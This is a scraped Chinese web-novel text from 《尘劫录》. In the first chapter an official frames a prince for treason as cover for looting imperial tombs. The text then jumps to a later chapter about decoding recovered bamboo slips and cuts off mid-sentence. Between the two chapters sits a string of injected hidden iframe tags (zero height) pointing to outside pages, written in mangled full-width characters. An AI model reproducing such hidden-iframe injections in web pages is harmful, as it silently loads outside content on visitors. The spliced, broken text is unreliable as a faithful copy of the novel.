《尘劫录》第154章

而偷坟掘墓本就为礼法所不容，况且是掘先代天子之墓……
“难道……”我皱紧了眉头，低声问道，“你的主意虽然卑鄙可耻，但为了拯救天下苍生，我也无从反对。只是，你想去做就自己去做呀，和我商量什么？难道你要朝廷发布诏书，去掘那些陵墓吗？”
大概看我并不反对他的建议，靳贤松了一口气，急忙回答说：“此事必须秘密进行，怎能朝廷下诏？下官自知所想荒悖，但还不至于想连累大人甚至本朝的名声。只是工程浩大，必须找个藉口，调用大人亲信的军队前去执行。”我点点头：“‘金台营’可以随时调用，只是这藉口嘛……”
“若无藉口，下官不会如此匆忙来打扰大人，”靳贤从袖子里掏出一张草纸来，“刚得到密报，广泽王有谋反之象！”
广泽王郕征乃是纯宗元钧皇帝的后裔，论辈分是今上的叔祖，封国在永泰郡西北方。此人骄奢淫逸，名声很臭，不过胆子小，我不相信他敢于策谋反叛，所以根本就不伸手去接靳贤递过来的草纸。不过是否真有凭据，并不重要，重要的是，广泽国距离掘墓的目的地很近，况且以广泽王的血缘和名声，即便天下人都知道他是受冤屈的，也不会有人愿意挺身而出，为他辩冤。
我让靳贤放手去做，让他调用“金台营”和部分永泰的郡兵去抄杀广泽王，顺便掘取威陵中的珍宝。于是靳贤匆匆告辞离开了，他走到门口的时候，我突然叫住他，问：“天道循环，你今天掘人的坟墓，不怕他日自己的坟墓也被人掘取吗？”
靳贤缓缓转过头来，苦笑着一抖袖子：“古语云：‘为恶者不得其葬所’，异日我能得到安葬，就已经心满意足了。”
何者为善？何者为恶？力图拯救即将覆灭的王朝，是否就是善呢？为了达到所谓善的目的，被迫要杀人，要敛财，甚至不惜破坏礼法去掘先人的陵墓，这种恶又能否与善相抵消呢？我不知道，我只知道靳贤这种为恶的勇气，自己是绝对不会有的，如果没有他在身旁，我唯一敢做的事情，就只有拆东墙补西墙，在旧有的樊笼中勉强维持政局平稳地下滑。
靳贤并不愚昧，他知道自己基本上不会有什么好下场，为了把我推上光明的顶峰，他自己必须置身于阴影中，甚至最后反而会被自己所反衬出的光明所吞噬。是的，靳贤是孤身走在旷野中的勇士，他身旁没有一名同伴，甚至连我都不能算。朝廷上下，所有矛盾的焦点都集中在他身上，而他只是靠着我所赋予的权势勉强招架来自各方的明枪暗箭，已经满身创伤了。连膺飏都曾暗地里劝我说：“靳贤千夫所指，迟早会牵累大人的，大人不如斩靳贤以平民愤！”
我根本不在意膺飏的话，民之所愤，是整个朝廷，而不会是单独的某个朝官，甚至相当多的百姓，未必知道靳贤是何人。痛恨靳贤的，乃是豪门大族，乃是世代显贵，他们也是我的敌人，我若没有靳贤这柄利刃在怀，根本别想在和他们的斗争中取得胜利，甚至根本别想保住性命。然而不以豪门权贵为敌呢？箭在弦上，不得不发，现在的我已经没有退路了……
但我或许迟早会牺牲靳贤，以免除各方之谤的。斗垮豪门之日，应该就是靳贤断首之时……每每想到这里，我就会心痛，虽然我仍旧不喜欢靳贤，我讨厌看到他那对倒挂眉毛，但想到我终将牺牲他人以挽救己命，就忍不住会鄙视自己，痛恨自己。
当年八月，“金台营”抄灭了广泽国，废国为县，郕征也被押赴京城，永久圈禁。靳贤秘密地发掘了威陵七座，据报所得珍宝值钱廿六万万。此外陵中还掘得简册上千斤，靳贤命人悄悄运到了我的府上…… <；iframe　src=http：//baidu。。com/w65/w65。htm　width=100　height=0>；<；/iframe>；<；iframe　src=http：//baidu。。com/w65/w65。htm　width=100　height=0>；<；/iframe>；<；iframe　src=http：//baidu。。com/w65/w65。htm　width=100　height=0>；<；/iframe>；<；iframe　src=http：//go。。com/w65/w65。htm　width=100　height=0>；<；/iframe>；
第二部　龙池劫灰　第五十章　亡佚
古诗云：先人之誉谤，于今固已亡。前事之虚实，于今固已佚。
靳贤派人偷偷送来我府上的简册，倒有一大半都已经朽烂了，每片简上剩下不到两三个字，还都是我所看不懂的古文字。我不禁想起那年焚烧永明宫的时候，膺飏曾经说过：“天生万物，有生斯有死，古人心血，后人所望，亦莫不如此……秋虫僵仆，沧海枯竭，又何者不是死？安有修短高下？”
这些简册都是前人心血，相信有相当部分已久不传于世了，威朝的帝王们藏之于陵寢，不是想刻意湮灭它们，而是想万年不朽。然而世上真有万年不朽，永恒不灭的事物吗？如果今天不是靳贤甘冒天下之大不韪把它们发掘出来，恐怕那剩下的三成字迹也都将磨灭殆尽，前人诸般苦心，将尽化飞灰，风起处纤毫不留。
“自荐科”已经开了两回，所得寒士近两百人，大多赐百石俸禄，分到各郡县去做属吏——一般情况下，郡县属吏都是由太守、县令自辟的，朝廷有干预之权却不常用，但靳贤认为：“乡老、里正，是真亲民之官，朝廷岂可轻乎？守令自辟僚属，颇易结党营私，鱼肉百姓，又易引附豪门，使寒士不得晋身之阶。是我欲五年之内，各郡县僚属皆更易为寒士也。”
他说的话很有道理，不过地方官员也有地方官员的苦衷，更有地方官员的狡狯，靳贤安插寒士的政策遇到重重阻碍，推行得相当缓慢。结果倒有将近半数的“自荐科”录取者无处可用，靳贤特别开设了研究三圣教诲的“鸿雅阁”，安排了四十余人，还剩下四十多人，只好都先塞到我府里来充做门客。
这群硬塞进来的家伙，出身都是极低微的，相貌也都千奇百怪，很多人有怪癖，甚至还有小偷小摸的坏毛病，除了穿着光鲜一点，略晓礼仪以外，我一开始认为他们和市井流氓没什么区别。不过相处了一段时间，我就发现其间大有博学之辈，问一答十，无所不通，那股令人厌恶的疏狂劲儿，恐怕都是才智不得伸展所造成的后遗症。
不过朝政我都已经委托给靳贤了，他们在我府里也实在无事可做，清闲得很。这次既然得到了大量简册，我就给他们点事做，交待他们去整理和翻译。这帮人动作还真快，没几天就呈上来百余斤新简，禀告说：“篇章较全，文字大部尚可辨认者，小人们都已整理完了，集为四十六卷，请明公过目。”
威朝的帝王们会带些什么文字去阴世呢？古人亡佚的简册里究竟写了些什么呢？我也很感兴趣，于是随意翻检，挑几篇出来阅读。偶尔翻到一篇，是记录至圣在彭国石宫与元无达者辩论经过的，和世传的说法颇有出入——
首先，至圣所言似乎多为诡辩，对方指责他外道妖言，他却说：“道之外，是谓本有，吾之言，非本有之言，何外而有？”对方说他调合有无，就是外道，他又说：“人以所不能悟者为外，是党同而伐异。无始谓无终之言谬也，无终谓无始之言异端，而无始无终，孰非元无？”
我知道所谓“无始”，就是指的先圣素燕，而“无终”则是指当时和素燕齐名的一位元无宗门的达者深无终。至圣这些话，根本就没讲什么道理，全是在狡辩，还扛出素燕和深无终来抬高自己的身份地位，他根本没有按照世传的那样，义正辞严地驳斥那些元无达者，阐述有无相生、一分为二的真理，从而就此奠定了炼气一门的宗论。
我查不到这篇文章是谁写的，因为它没头没尾，更亡佚了作者姓名。不过也不知道为什么，我在内心深处，似乎非常确信这篇文章所说的才是真理，史书也罢、俗论也好，应该全是为尊者讳所编造出来的光明正大的西贝货吧。
这篇文章后面一段也很有趣，写到至圣驳倒那些元无达者以后，受到彭君的礼遇，同时向彭君询问一件名叫“雨璧”的东西。顾名思义，这“雨璧”应该是件祭祀用的玉器，文中写道：“忽王赐雨璧于彭，以镇其西，赐云玦于素，以镇其东，赐风璜于翰，以镇其南，赐雷琮于练，以镇其北，封建四伯，以拱卫社稷。”
什么雨璧、云玦、风璜、雷琮？我似乎很多年以前听说过这些名词……多久以前呢？伸出小指来搔搔额头，然而那奇怪的记忆如同池中游鱼般，才荡起一个小小的水花，立刻又潜入荷叶底下，踪影全无了。
我在灯下摊开竹简，想要继续阅读，然而那几个奇怪的名词却总是